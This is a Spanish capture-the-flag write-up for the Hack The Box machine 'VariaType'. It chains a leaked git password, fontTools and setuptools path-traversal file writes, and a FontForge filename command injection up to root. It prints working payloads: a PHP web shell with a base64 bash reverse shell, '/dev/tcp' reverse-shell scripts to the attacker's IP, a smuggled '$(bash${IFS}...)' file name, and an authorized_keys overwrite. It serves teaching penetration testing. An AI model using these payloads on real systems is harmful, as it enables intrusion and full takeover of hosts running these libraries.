Descripción

VariaType es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Escritura arbitraria de archivos en una aplicación web usando la biblioteca fontTools de Python
  • Enumeración de subdominios para encontrar un panel de administración
  • Subida de un archivo PHP malicioso que lleva a la ejecución remota de comandos
  • Pivote de usuario aprovechando la vulnerabilidad de inyección de comandos en la biblioteca Python FontForge
  • Escalada de privilegios mediante un script Python vulnerable ejecutable por root, permitiendo la escritura arbitraria de archivos

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.10.139.

$ ping -c 3 10.129.10.139
PING 10.129.10.139 (10.129.10.139) 56(84) bytes of data.
64 bytes from 10.129.10.139: icmp_seq=1 ttl=63 time=63.0 ms
64 bytes from 10.129.10.139: icmp_seq=2 ttl=63 time=43.0 ms
64 bytes from 10.129.10.139: icmp_seq=3 ttl=63 time=43.5 ms

--- 10.129.10.139 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 42.965/49.791/62.955/9.310 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a hacer un escaneo de puertos TCP con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.10.139 -sS -Pn -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.10.139
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 4.34 seconds

Obtenemos dos puertos abiertos, 22, y 80.

Enumeración

Luego realizamos un escaneo más avanzado, con versiones de servicio y scripts.

$ nmap 10.129.10.139 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.10.139
Host is up (0.049s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_  256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.18 seconds

Obtenemos el servicio SSH y el servicio HTTP. Encontramos el subdominio variatype.htb, lo añadimos al archivo /etc/hosts.

echo "10.129.10.139 variatype.htb" | sudo tee -a /etc/hosts

Después de abrir la página, encontramos la página web VariaType Labs que permite generar fuentes variables con archivos .designspace y archivos maestros de fuente. Enumerando otros servicios, encontramos un subdominio, portal.variatype.htb. Añadimos a archivo /etc/hosts.

$ gobuster vhost -u variatype.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -o vhost_enumeration -r -t 50
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://variatype.htb
[+] Method:                    GET
[+] Threads:                   50
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
portal.variatype.htb Status: 200 [Size: 2494]

echo "10.129.10.139 portal.variatype.htb" | sudo tee -a /etc/hosts

Encontramos que el subdominio portal contiene un portal de validación interno para fuentes subidas. El panel de control está detrás de un inicio de sesión y no tenemos credenciales. Vamos a buscar directorios ocultos en el servidor.

$ gobuster dir -u 'http://portal.variatype.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://portal.variatype.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git/config          (Status: 200) [Size: 143]
/.git                 (Status: 301) [Size: 169] [--> http://portal.variatype.htb/.git/]
/.git/index           (Status: 200) [Size: 137]
/.git/logs/           (Status: 403) [Size: 153]
/.git/HEAD            (Status: 200) [Size: 23]
/files                (Status: 301) [Size: 169] [--> http://portal.variatype.htb/files/]
/index.php            (Status: 200) [Size: 2494]
Progress: 4750 / 4750 (100.00%)

Encontramos que un repositorio Git está disponible en el servidor, el cual puede contener el código fuente de la aplicación, vamos a descargar y enumerar con la herramienta git-dumper. También hay una carpeta llamada files.

$ git-dumper http://portal.variatype.htb/.git/ variatypeportal_git                                            
[-] Testing http://portal.variatype.htb/.git/HEAD [200]
[-] Testing http://portal.variatype.htb/.git/ [403]
[-] Fetching common files
...
$ cd variatypeportal_git
$ ls
auth.php
$ git log
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:59:33 2025 -0500

    fix: add gitbot user for automated validation pipeline

commit 5030e791b764cb2a50fcb3e2279fea9737444870
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:57:57 2025 -0500

    feat: initial portal implementation
$ git diff 753b5f5957f2020480a19bf29a0ebc80267a4a3d
diff --git a/auth.php b/auth.php
index b328305..615e621 100644
--- a/auth.php
+++ b/auth.php
@@ -1,5 +1,3 @@
 <?php
 session_start();
-$USERS = [
-    'gitbot' => 'G1tB0t_Acc3ss_2025!'
-];
+$USERS = [];

Encontramos que en el repositorio hay solo un archivo, auth.php, sin credenciales. Pero si enumeramos los commits anteriores encontramos la contraseña del usuario gitbotG1tB0t_Acc3ss_2025!. Podemos iniciar sesión en el panel de control con estas credenciales. Encontramos que no hay fuentes subidas. Regresamos a la aplicación web principal. Buscando información sobre archivos designspace, encontramos que la biblioteca Python fontTools la utiliza. Las versiones anteriores a 4.60.2 son vulnerables a Escritura Arbitraria de Archivos e Inyección de XML al generar fuentes variables, como este caso, CVE-2025-66034. Como tenemos un concepto de pruebas de la vulnerabilidad, vamos a probarlo aquí.

Explotación

Creamos el archivo setup.py como en el código de concepto de pruebas:

#!/usr/bin/env python3
import os

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})
    
    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()
    
    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)

if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)

Entonces creamos el malicious.designspace como en el código de concepto de pruebas, pero esta vez cambiaremos el objetivo de Escritura Arbitraria de Archivos para el archivo /tmp/malicious, utilizando Traversal de Rutas.

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  </axes>
  
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>
  
  <!-- Filename can be arbitrarily set to any path on the filesystem -->
  <variable-fonts>
    <variable-font name="MaliciousFont" filename="../../../../../tmp/malicious">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

Ejecutamos el archivo setup.py para crear las primeras dos fuentes maestras a subir al servidor. Dos fuentes source-light.ttf y source-regular.ttf son generadas.

$ python setup.py
$ ls
malicious.designspace  setup.py  source-light.ttf  source-regular.ttf

Ahora podemos hacer clic en el Generate Your Variable Font para ser redirigidos al formulario en el que podemos subir la fuente. En el formulario .designspace File seleccionaremos el archivo malicious.designspace. Y en el formulario Master Fonts (.ttf or .otf) seleccionaremos las dos fuentes que seleccionamos previamente. Hacemos clic en Generate Variable Font para generar la fuente. Encontramos que el proceso fue exitoso. Asumimos que la vulnerabilidad funcionó y el archivo malicioso fue escrito en el directorio /tmp. Vamos a repetir el proceso pero esta vez cambiaremos el archivo a escribir desde ../../../../../tmp/malicious a ../../../../../etc/malicious. Ahora debería provocar un error ya que la aplicación no debería tener permiso para escribir en ese directorio. Así podemos confirmar que la escritura de archivos está ocurriendo. Ahora la generación de la fuente falló: Moviéndonos a la consola de control portal encontramos la fuente subida anteriormente. La fuente disponible para descargar tiene el formato de archivo variabype_<RANDOM>.ttf. El panel de control web se encuentra en la URL http://portal.variatype.htb/dashboard.php. Si tenemos permiso de escritura en la carpeta del servidor, podríamos subir un archivo PHP malicioso para desplegar la Ejecución Remota de Comandos con una terminal inversa, pero primero necesitamos encontrar la carpeta donde se encuentra el servidor. En primer lugar asumimos que el servidor web está en la carpeta /var/www/portal.variatype.htb.

Si intentamos escribir un archivo en el directorio (../../../../../var/www/portal.variatype.htb/) obtenemos un error. Esto significa que el directorio puede no existir o que el usuario que está ejecutando el servidor no tiene permiso para escribir archivos. Vamos a realizar una fuerza bruta de subidas dentro del directorio portal.variatype.htb con un script para encontrar si existe un subdirectorio donde se encuentran los archivos del servidor. Vamos a utilizar el diccionario /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt. Para utilizar el script en Python necesitamos cambiar el valor de filename (previamente ../../../../../etc/malicious) a MALICIOUSFILE.

#!/usr/bin/env python3
"""
Script de fuerza bruta a Variatype

## Descripción

Este script realiza una fuerza bruta sobre un directorio oculto en el servidor objetivo al abusar del punto final del generador de fuentes variables.

Para cada entrada en la lista de palabras proporcionada, el script:

1. Lee el archivo `malicious.designspace`, que contiene la cadena de lugar `MALICIOUSFILE`.
    
2. Reemplaza `MALICIOUSFILE` con una ruta creada de la forma: ../../../../../var/www/portal.variatype.htb/<palabra>/malicious
    
3. Guarda el contenido modificado en un archivo temporal de designspace.
    
4. Envía una solicitud POST de tipo multipart/form-data al punto final: http://variatype.htb/tools/variable-font-generator/process
    
    La solicitud contiene tres archivos:
    
    - designspace → malicious.designspace (modificado dinámicamente)
    - masters → source-regular.ttf
    - masters → source-light.ttf
5. El servidor responde con un redireccionamiento 302, que el script sigue automáticamente.
    
6. La respuesta HTML final se inspecciona:
    
    - Si el texto “Font generation failed during processing.” está presente, el intento falló y el script continúa con la siguiente palabra.
        
    - Si el texto no está presente, se ha encontrado un directorio potencialmente válido.
        
7. Para confirmar el resultado, el script verifica la URL: http://portal.variatype.htb/malicious
    
8. Si el archivo existe (HTTP 200), el directorio se considera válido y el script detiene la ejecución.
    

## Requisitos

- Python 3
- biblioteca requests

## Uso

Coloque los siguientes archivos en el mismo directorio:

- malicious.designspace
- source-regular.ttf
- source-light.ttf

Luego ejecute:

python3 bruteforce_font.py
"""

import requests
import sys

TARGET_URL = "http://variatype.htb/tools/variable-font-generator/process"
CHECK_URL = "http://portal.variatype.htb/malicious"
WORDLIST = "/usr/share/wordlists/seclists/Discovery/Web-Content/common.txt"

DESIGNSPACE_TEMPLATE = "malicious.designspace"
TTF_REGULAR = "source-regular.ttf"
TTF_LIGHT = "source-light.ttf"

FAIL_TEXT = "Font generation failed during processing."

session = requests.Session()


def create_designspace(payload_path):
    """
    Replace MALICIOUSFILE inside malicious.designspace
    with the brute-forced payload path.
    """
    with open(DESIGNSPACE_TEMPLATE, "r") as f:
        content = f.read()

    content = content.replace("MALICIOUSFILE", payload_path)

    temp_file = "temp.designspace"
    with open(temp_file, "w") as f:
        f.write(content)

    return temp_file


def send_request(designspace_file):
    """
    Send the multipart/form-data POST request to the vulnerable endpoint.
    """
    files = [
        ("designspace", ("malicious.designspace", open(designspace_file, "rb"), "application/xml")),
        ("masters", ("source-regular.ttf", open(TTF_REGULAR, "rb"), "font/ttf")),
        ("masters", ("source-light.ttf", open(TTF_LIGHT, "rb"), "font/ttf")),
    ]

    response = session.post(TARGET_URL, files=files, allow_redirects=True)
    return response


def verify_upload():
    """
    Verify if the malicious file is accessible.
    """
    try:
        response = session.get(CHECK_URL, timeout=5)
        if response.status_code == 200:
            return True
    except requests.RequestException:
        pass

    return False


def main():

    with open(WORDLIST, "r") as f:
        words = [w.strip() for w in f]

    for word in words:

        payload = f"../../../../../var/www/portal.variatype.htb/{word}/malicious"
        print(f"[+] Trying directory: {word}")

        designspace_file = create_designspace(payload)

        response = send_request(designspace_file)

        if FAIL_TEXT in response.text:
            continue

        print(f"[!] Potential directory discovered: {word}")
        print("[*] Verifying file upload...")

        if verify_upload():
            print(f"[SUCCESS] Valid directory found: {word}")
            print(f"[SUCCESS] File accessible at: {CHECK_URL}")
            sys.exit(0)

    print("[-] No valid directory found in the wordlist")


if __name__ == "__main__":
    main()

Después de ejecutar el script encontramos el directorio que estábamos buscando, public.

$ python script.py
...
[+] Trying directory: public
[!] Potential directory discovered: public
[*] Verifying file upload...
[SUCCESS] Valid directory found: public
[SUCCESS] File accessible at: http://portal.variatype.htb/malicious

Ahora nos movemos a editar el archivo malicious.designspace para editar el archivo que escribirá en ../../../../../var/www/portal.variatype.htb/public/reverseshell.php. También editamos la etiqueta XML axis para agregar el comando que desplegará la terminal inversa. El archivo ahora es el siguiente:

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
	    <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjIyNy8xMjM0IDA+JjE= | base64 -d | bash");?>]]]]><![CDATA[>]]></labelname>
    </axis>
  </axes>
  
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>
  
  <!-- Filename can be arbitrarily set to any path on the filesystem -->
  <variable-fonts>
    <variable-font name="MaliciousFont" filename="../../../../../var/www/portal.variatype.htb/public/reverseshell.php">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

Iniciamos un puerto TCP de escucha en el puerto 1234 con el comando nc -nvlp 1234, subimos los archivos y finalmente desplegamos la vulnerabilidad llamando al archivo http://portal.variatype.htb/reverseshell.php.

$ curl http://portal.variatype.htb/reverseshell.php

Recibimos una terminal inversa como el usuario www-data, la actualizamos.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.15.227] from (UNKNOWN) [10.129.10.139] 39372
bash: cannot set terminal process group (3490): Inappropriate ioctl for device
bash: no job control in this shell
www-data@variatype:~/portal.variatype.htb/public$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@variatype:~/portal.variatype.htb/public$ ^Z
$ stty raw -echo; fg                                                               $ reset xterm
www-data@variatype:~/portal.variatype.htb/public$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Explotación

Encontramos dos usuarios de consola en el sistema: root y steve.

www-data@variatype:~/portal.variatype.htb/public$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash

Vamos a utilizar la herramienta pspy para comprobar los procesos en ejecución en el sistema en intervalos de tiempo fijos (Cron).

www-data@variatype:~/portal.variatype.htb/public$ cd /tmp
www-data@variatype:/tmp$ wget http://10.10.15.227/pspy64
www-data@variatype:/tmp$ chmod +x pspy64
www-data@variatype:/tmp$ ./pspy64
...
CMD: UID=1000  PID=9586   | /bin/bash /home/steve/bin/process_client_submissions.sh 
CMD: UID=1000  PID=9587   | 
CMD: UID=1000  PID=9588   | /usr/local/src/fontforge/build/bin/fontforge -lang=py -c 
import fontforge
import sys
try:
    font = fontforge.open('variabype_l3DrENPw3Ig.ttf')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process variabype_l3DrENPw3Ig.ttf: {e}', file=sys.stderr)
    sys.exit(1)

Encontramos que el usuario steve está ejecutando el script /home/steve/bin/process_client_submissions.sh. Parece que está utilizando fontforge para cargar y analizar las fuentes subidas. Encontramos una copia del script en el directorio /opt/process_client_submissions.bak.

www-data@variatype:/tmp$ cat /opt/process_client_submissions.bak
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#

set -euo pipefail

UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"

mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"

log() {
    echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}

cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }

shopt -s nullglob

EXTENSIONS=(
    "*.ttf" "*.otf" "*.woff" "*.woff2"
    "*.zip" "*.tar" "*.tar.gz"
    "*.sfd"
)

SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'

found_any=0
for ext in "${EXTENSIONS[@]}"; do
    for file in $ext; do
        found_any=1
        [[ -f "$file" ]] || continue
        [[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }

        # Enforce strict naming policy
        if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
            log "QUARANTINE: Filename contains invalid characters: $file"
            mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
            continue
        fi

        log "Processing submission: $file"

        if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
    font = fontforge.open('$file')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
    sys.exit(1)
"; then
            log "SUCCESS: Validated $file"
        else
            log "WARNING: FontForge reported issues with $file"
        fi

        mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
    done
done

if [[ $found_any -eq 0 ]]; then
    log "No eligible submissions found."
fi

El script escanea el directorio de subida /var/www/portal.variatype.htb/public/files para archivos con extensiones relacionadas con fuentes (p. ej., .ttf.otf.woff.zip). Imposibilita una política estricta de nombre de archivo permitiendo solo letras, dígitos, puntos, guiones y subrayados; los nombres inválidos se mueven a un directorio de cuarentena. Los archivos válidos se abren con FontForge (modo Python) para verificar que la fuente puede ser analizada y que se puede leer metadatos básicos (familia/estilo). Después del procesamiento, el archivo se registra y se mueve a /home/steve/processed_fonts, mientras que los errores o archivos sospechosos se registran en el log.

Splinefont en FontForge mediante la versión 20230101 permite la inyección de comandos a través de nombres de archivos creados cuidadosamente, CVE-2024-25081. Las técnicas de extracción de archivos pueden pasar por alto la comprobación del nombre de archivo en este script. El script solo valida los nombres de archivo después de la extracción, no el contenido de los archivos adjuntos (.zip.tar.tar.gz). Utilizando tar, un atacante podría intentar pasar por alto el filtro de nombres de archivo incorporando un nombre de archivo malicioso dentro del archivo comprimido, ya que el script solo valida los nombres de archivo una vez que aparecen en el directorio de subida.

Vamos a utilizar esta vulnerabilidad para ejecutar un script de terminal (/tmp/shell.sh) que desplegará una terminal inversa hacia nuestra máquina en el puerto 1235 (debemos estar escuchando con el comando nc -nvlp 1235). Creamos el archivo de terminal inversa.

echo '/bin/bash -i >& /dev/tcp/10.10.15.227/1235 0>&1' > /tmp/shell.sh

Primero necesitamos utilizar un archivo de fuente válido, como el que subimos anteriormente (variabype_7L3o8ADqkbM.ttf).

www-data@variatype:/tmp$ ls /var/www/portal.variatype.htb/public/files
variabype_7L3o8ADqkbM.ttf  variabype_Lp1JpK1PbjQ.ttf  variabype_l3DrENPw3Ig.ttf

Vamos a utilizar Python para crear el archivo .tar como con la herramienta tar de Unix no podemos personalizar correctamente el nombre del archivo que ejecutará el comando (font_$(bash${IFS}/tmp/shell.sh).ttf).

import tarfile

source = "/var/www/portal.variatype.htb/public/files/variabype_7L3o8ADqkbM.ttf"
payload_name = "font_$(bash${IFS}/tmp/shell.sh).ttf"

with tarfile.open("/var/www/portal.variatype.htb/public/files/maliciousfont.tar", "w") as tar:
    tar.add(source, arcname=payload_name)

Ejecutamos el script de Python. Encontramos que el archivo .tar fue generado correctamente.

www-data@variatype:/tmp$ python3 malicious.py
www-data@variatype:/tmp$ tar tf /var/www/portal.variatype.htb/public/files/maliciousfont.tar 
font_$(bash${IFS}/tmp/shell.sh).ttf

Después de unos minutos recibimos una terminal inversa como el usuario steve. La actualizamos.

$ nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.15.227] from (UNKNOWN) [10.129.10.139] 45258
bash: cannot set terminal process group (9900): Inappropriate ioctl for device
bash: no job control in this shell
steve@variatype:/tmp/ffarchive-9901-1$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
steve@variatype:/tmp/ffarchive-9901-1$ ^Z
$ stty raw -echo; fg
$ reset xterm
steve@variatype:/tmp/ffarchive-9901-1$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Podemos ejecutar comandos como el usuario root, el /opt/font-tools/install_validator.py con cualquier argumento.

steve@variatype:/tmp/ffarchive-9901-1$ sudo -l
Matching Defaults entries for steve on variatype:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
steve@variatype:/tmp/ffarchive-9901-1$ cat /opt/font-tools/install_validator.py
#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.

Example usage:
  sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""

import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex

# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"

# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    handlers=[
        logging.FileHandler(LOG_FILE),
        logging.StreamHandler(sys.stdout)
    ]
)

def is_valid_url(url):
    try:
        result = urlparse(url)
        return all([result.scheme in ('http', 'https'), result.netloc])
    except Exception:
        return False

def install_validator_plugin(plugin_url):
    if not os.path.exists(PLUGIN_DIR):
        os.makedirs(PLUGIN_DIR, mode=0o755)

    logging.info(f"Attempting to install plugin from: {plugin_url}")

    index = PackageIndex()
    try:
        downloaded_path = index.download(plugin_url, PLUGIN_DIR)
        logging.info(f"Plugin installed at: {downloaded_path}")
        print("[+] Plugin installed successfully.")
    except Exception as e:
        logging.error(f"Failed to install plugin: {e}")
        print(f"[-] Error: {e}")
        sys.exit(1)

def main():
    if len(sys.argv) != 2:
        print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
        print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
        sys.exit(1)

    plugin_url = sys.argv[1]

    if not is_valid_url(plugin_url):
        print("[-] Invalid URL. Must start with http:// or https://")
        sys.exit(1)

    if plugin_url.count('/') > 10:
        print("[-] Suspiciously long URL. Aborting.")
        sys.exit(1)

    install_validator_plugin(plugin_url)

if __name__ == "__main__":
    if os.geteuid() != 0:
        print("[-] This script must be run as root (use sudo).")
        sys.exit(1)
    main()

Este script es un instalador exclusivo para root de complementos de validación de fuentes. Toma una única URL desde la línea de comandos, realiza comprobaciones básicas para asegurar que sea una dirección HTTP o HTTPS y no demasiado larga, luego utiliza el descargador PackageIndex de Python para obtener el archivo desde esa URL. El complemento descargado se guarda en /opt/font-tools/validators, y el proceso se registra en /var/log/font-validator-install.log mientras también se muestran mensajes de estado en la terminal. En esencia, permite a los operadores de tipografía instalar módulos externos de Python validator desde internet directamente en el directorio de complementos del sistema.

El script es vulnerable porque descarga un archivo desde una URL proporcionada por el usuario y lo guarda como root utilizando PackageIndex.download() de setuptools sin sanitizar la ruta del archivo resultante. Una vulnerabilidad de tránsito de ruta en PackageIndex fue corregida en la versión 78.1.1 de setuptools, CVE-2025-47273. El nombre del archivo se deriva de la ruta de la URL, y los caracteres codificados en URL como %2F se decodifican en /. Esto permite que un atacante cree una URL que resuelva a una ruta absoluta o tránsito de ruta, escapando del directorio intuido /opt/font-tools/validators. Como resultado, un atacante puede realizar una escritura de archivo arbitraria en cualquier lugar del sistema de archivos con privilegios de root.

Podemos utilizar esto para escribir una clave SSH pública en el directorio root para luego crear la sesión mediante SSH. Comenzamos creando el directorio donde almacenaremos los archivos y creamos nuestro propio servidor HTTP.

$ mkdir -p server/root/.ssh/
$ ssh-keygen -t rsa -b 1024 -f id_rsa
$ cp id_rsa.pub server/root/.ssh/authorized_keys
$ python -m http.server 80 -d server

Luego desplegamos la vulnerabilidad en la máquina descargando el archivo con tránsito de ruta %2Froot%2F.ssh%2Fauthorized_keys.

steve@variatype:/tmp/ffarchive-9901-1$ sudo python3 /opt/font-tools/install_validator.py http://10.10.15.227/%2Froot%2F.ssh%2Fauthorized_keys
[INFO] Attempting to install plugin from: http://10.10.15.227/%2Froot%2F.ssh%2Fauthorized_keys
[INFO] Downloading http://10.10.15.227/%2Froot%2F.ssh%2Fauthorized_keys
[INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.

Funcionó, ahora podemos crear la sesión SSH.

$ ssh -i id_rsa root@variatype.htb   
...
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)

Flags

En el terminal root podemos recuperar las flags de user.txt y root.txt.

root@variatype:~# cat /home/steve/user.txt 
<REDACTED>
root@variatype:~# cat /root/root.txt 
<REDACTED>